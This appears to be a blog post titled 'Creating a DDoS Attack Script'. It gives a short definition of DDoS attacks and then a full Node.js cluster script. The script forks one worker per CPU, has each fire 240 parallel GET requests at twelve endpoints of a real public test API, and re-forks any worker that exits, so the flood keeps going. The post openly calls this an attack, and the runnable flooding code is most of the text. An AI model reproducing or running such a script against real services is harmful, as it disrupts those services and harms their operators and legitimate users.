Creating a DDoS Attack Script

Studying How to Use NodeJS Paralelism to Make a DDoS Attack

Play this article

Introduction

  • A Distributed Denial of Service (DDoS) attack is a malicious form of cyber attack where a large number of internet-connected devices are used to overload a specific target such as a server, website or online service. The main objective of a DDoS attack is to make the target inaccessible to the legitimate public, causing an interruption in the normal functioning of the service.

  • These attacks exploit a system's limited processing power, bandwidth, or resources so that it cannot handle the high volume of bogus traffic generated by compromised devices. Attackers often take control of these compromised devices remotely, forming a "botnet" (network of bots) to carry out the attack.

Algorithm

  • This algorithm makes each worker make 20 HTTP GET calls to each endpoint

  • As in the algorithm list I have a total of 12 endpoints, so each worker will make 240 GET requests

  • Giving a total of 240 x 8 = 1920 GET requests in parallel, at the same time.

  • The 8 workers finish making these requests in about 200-350 milliseconds.

Conclusion

import cluster from 'cluster'
import * as os from 'os'
let numWorkers = os.cpus().length;
import fs from 'fs'
import fetch from 'node-fetch'

const listEndpointsToAttack = [
    // https://jsonplaceholder.typicode.com/users
    'https://jsonplaceholder.typicode.com/users/1',
    'https://jsonplaceholder.typicode.com/users/2',
    'https://jsonplaceholder.typicode.com/users/3',

    // https://jsonplaceholder.typicode.com/posts
    'https://jsonplaceholder.typicode.com/posts/1',
    'https://jsonplaceholder.typicode.com/posts/2',
    'https://jsonplaceholder.typicode.com/posts/3',

    // https://jsonplaceholder.typicode.com/comments
    'https://jsonplaceholder.typicode.com/comments/1',
    'https://jsonplaceholder.typicode.com/comments/2',
    'https://jsonplaceholder.typicode.com/comments/3',

    // https://jsonplaceholder.typicode.com/todos
    'https://jsonplaceholder.typicode.com/todos/1',
    'https://jsonplaceholder.typicode.com/todos/2',
    'https://jsonplaceholder.typicode.com/todos/3'
]

if (cluster.isPrimary) {
    console.log('Master cluster setting up ' + numWorkers + ' workers...');

    for (var i = 0; i < numWorkers; i++) {
        cluster.fork();
    }

    cluster.on('online', function (worker) {
        console.log('Worker ' + worker.process.pid + ' is online');
    });

    cluster.on('exit', function (worker, code, signal) {
        console.log('Worker ' + worker.process.pid + ' died with code: ' + code + ', and signal: ' + signal);
        console.log('Starting a new worker');
        cluster.fork();
    });
} else {

    let timetaken = `Tempo execução no Worker ID:  ${process.pid}`;

    let begin = Date.now();

    console.time(timetaken);

    let totalRequestsMade = 0

    const workerJobStatistics = {
        worker_id: null,
        worker_execution_time: null,
        total_requests_made: 0,
        total_requests_timeout: 0,
        total_requests_http_status_code_200: 0,
        total_requests_fail: 0,
        responses: []
    }

    for (let i = 1; i <= 20; i++) {

        workerJobStatistics.worker_id = process.pid

        for (let i = 0; i < listEndpointsToAttack.length; i++) {

            const request = {
                endpoint: null,
                http_status_code_response: null,
                response: null
            }

            totalRequestsMade += 1

            workerJobStatistics.total_requests_made += 1

            console.log('Worker ID: ' + process.pid + ` => Processing REQUEST GET: ${listEndpointsToAttack[i]} => ` + i)

            try {
                fetch(`${listEndpointsToAttack[i]}`)
                    .then((response) => {
                        if (response.status === 200) {
                            workerJobStatistics.total_requests_http_status_code_200 += 1
                            request.http_status_code_response = response.status
                            request.endpoint = response.url
                        }
                        return response
                    })
                    .then(response => response.json())
                    .then(response => {
                        if (response) {
                            request.response_success = response.success
                            request.response = response
                        }
                        return response
                    })
                    .then(response => {
                        console.log(response)
                        workerJobStatistics.responses.push(request)
                        try {
                            fs.writeFileSync(`./responses/responses-from-worker-id-${process.pid}.json`, JSON.stringify(workerJobStatistics), 'utf8');
                        } catch (error) {
                            console.log('An error has occurred ', error);
                        }
                    })
                    .catch(err => {
                        workerJobStatistics.total_requests_fail += 1
                        console.error(err)

                        try {
                            fs.writeFileSync(`./responses/responses-from-worker-id-${process.pid}.json`, JSON.stringify(workerJobStatistics), 'utf8');
                        } catch (error) {
                            console.error(err)
                        }
                    })
            } catch (err) {
                workerJobStatistics.total_requests_timeout += 1
                fs.writeFileSync(`./responses/responses-from-worker-id-${process.pid}.json`, JSON.stringify(workerJobStatistics), 'utf8');
            }
        }
    }

    console.timeEnd(timetaken);

    let end = Date.now();

    let timeSpent = (end - begin) / 1000 + " seconds";

    console.log(`-------> O Worker ID: ${process.pid} processou no total: ${totalRequestsMade} requisições `)

    setTimeout(function () {
        try {
            const jsonData = JSON.parse(fs.readFileSync(`./responses/responses-from-worker-id-${process.pid}.json`, 'utf-8'));
            jsonData.worker_execution_time = timeSpent
            console.log(`--> Tempo execução no Worker ID:  ${process.pid} => `, timeSpent)
            fs.writeFileSync(`./responses/responses-from-worker-id-${process.pid}.json`, JSON.stringify(jsonData, null, 4), 'utf8');
        } catch (error) {
            console.log('An error has occurred ', error);
        }
    }, 7500);
}